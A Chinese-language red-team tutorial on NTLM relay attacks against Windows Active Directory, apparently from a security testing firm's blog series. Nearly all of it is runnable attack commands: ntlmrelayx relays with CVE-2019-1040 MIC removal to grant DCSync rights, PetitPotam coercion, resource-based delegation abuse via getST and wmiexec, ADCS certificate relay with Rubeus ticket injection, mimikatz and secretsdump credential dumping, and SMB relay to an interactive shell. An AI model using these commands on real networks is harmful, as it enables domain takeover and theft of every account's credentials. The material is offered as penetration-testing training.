連載:紅隊知識體系梳理-relay
STATEMENT
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
前言
捕獲到Net-NTLM Hash后,可以使用Hashcat破解Net-NTLM Hash得到密碼明文,或者將net-ntlm中繼到其他使用NTLM進行認證的應用層上。例如:可將net-hash中繼到SMB、adcs HTTP服務、LDAP。但是在ms08-067 kb957097補丁中,禁止將自身的NTLM轉發給自身。
可利用Print bug漏洞或Petitpotam漏洞強制目標主機回連。或誘導目標點擊UNC路徑
relay到ldap服務
將net-ntlm hash轉發到lDap服務,配合CVE-2019-1040漏洞繞過ldap簽名
添加ACL
relay到ldap服務,添加dscyns權限ACL。需要net-NTLM對應的用戶具有對域對象WriteDacl權限。
relay exchange
將exchange的NTLM Net-NTLM繼到域控上的ldap服務。利用CVE-2019-1040漏洞刪除ldap mic簽名標志,向指定賬戶授予DCSync 權限。exchange機器用戶對域對象具有WriteDACL權限。
(windows中可回連內網機器A,然后將A的445端口流量重定向至外網kali監聽的445)
# -remove-mic:利用CVE-2019-1040漏洞清除MIC標志 # -escalate-user:用于賦予指定用戶dcsync權限,修改acl `Security Descriptor`條目賦予用戶DCSync權限; # -smb2support:支持SMB2協議 # -t:將認證憑據轉發到指定ldap # -debug:輸出詳細信息 python3 ntlmrelayx.py --remove-mic --escalate-user admin -t ldap://192.168.10.250 -smb2support -debug
利用PetitPotam漏洞或者打印機漏洞,強制exchange服務器回連指定主機
python3 Petitpotam.py -d qaq.com -u admin -p P@ss1234 192.168.10.25 192.168.10.30 # 在windows環境下使用當前會話憑證利用Petitpotam漏洞強制回連。注意需要域用戶權限,權限不足會報錯 PetitPotam.exe 10.211.55.2 10.211.55.5 1 # 使用提權的用戶進行dcsync python3 secretsdump.py qaq.com/admin:Aa123456@192.168.10.250 -dc-ip 192.168.10.250 -just-dc -outputfile qaq
修改msDS-AllowedToActOnBehalfOfOtherIdentity屬性
relay到ldap服務,修改msDS-AllowedToActOnBehalfOfOtherIdentity屬性為目標配置資源委派,然后獲取目標權限。
例如:
1.中繼輔域控機器用戶的NTLM設置資源委派獲取輔域控權限;
2.中繼adcs/exchange的機器用戶NTLM設置資源委派獲取目標權限,前提是adcs和exchange不能和域控為同一臺服務器;
3.中繼其他有價值的目標的機器用戶NTLM獲取權限;
基于資源的約束性委派進行權限提升
設置資源委派屬性獲取目標權限。
1.新創建機器用戶
powershell -exec bypass "&{import-module .\Powermad.ps1; New-MachineAccount -MachineAccount xxx -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose }"
2.開啟NTLM監聽轉發到ldap
(windows中可回連內網機器A,然后將A的445端口流量重定向至外網kali監聽的445)
# 寫入msDS-AllowedToActOnBehalfOfOtherIdentity為新建的機器用戶,設置資源委派 python3.8 ntlmrelayx.py -t ldap://192.168.11.250 --remove-mic --delegate-access --escalate-user xxx$ -smb2support # 默認創建機器用戶,將資源委派設置成新創建的機器用戶 python ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support
3.利用PetitPotam漏洞或者打印機漏洞發起回連:
python3 PetitPotam.py -d qaq.org -u admin -p Aa123456 192.168.11.15 192.168.11.24
4.查看機器的msds-allowedtoactonbehalfofotheridentity舒服是否被修改成功
# 查看所有機器
powershell -exec bypass "&{import-module .\powerview.ps1; Get-NetComputer | Select-Object -Property name,msds-allowedtoactonbehalfofotheridentity}"
# 查看指定機器
powershell -exec bypass "&{import-module .\powerview.ps1; Get-DomainComputer win-2012 -Properties msds-allowedtoactonbehalfofotheridentity}"
5.使用新加的機器用戶發起S4u2請求
- impacket 利用
# 利用s4u2協議域管用戶訪問機器的票據 python getST.py -dc-ip 192.168.11.250 -spn cifs/win-2012.qaq.org -impersonate administrator qaq.org/xxx$:123456 export KRB5CCNAME=administrator.ccache python3 wmiexec.py -no-pass -k WIN-2012.qaq.org -dc-ip 192.168.11.250
relay到adcs http服務
1.開啟監聽中繼到ADCS 的http接口
python3 ntlmrelayx.py -t http://192.168.12.240/certsrv/certfnsh.asp -smb2support --adcs
- 利用打印機服務漏洞或PetitPotam強制域控回連攻擊機器:
# 利用Petitpotam漏洞觸發回連 python Petitpotam.py -d domain -u username -p password 回連ip 域控ip
- 利用上面獲取到的證書,發起kerberos認證獲取域管賬戶的TGT并注入到當前機器的內存中:
# 使用Rubeus利用證書發起kerberos認證申請TGT并注入lsass進程 # Rubeus.exe asktgt /user:DC$ /certificate:打印出來的base64證書數據 /ptt Rubeus.exe asktgt /user: /certificate: /ptt mimikatz.exe "lsadump::dcsync /domain:qaq.com /dc:test.qaq.com /all /csv " exit
relay到smb服務
relay到smb服務執行命令。只有域控smb默認開啟簽名。
# impacket python3 ntlmrelayx.py -t smb://192.168.10.139 -smb2support -c ipconfig # Responder Tools MultiRelay.py腳本 python3 MultiRelay.py -t 192.168.10.139 -u all # 獲取交互式shell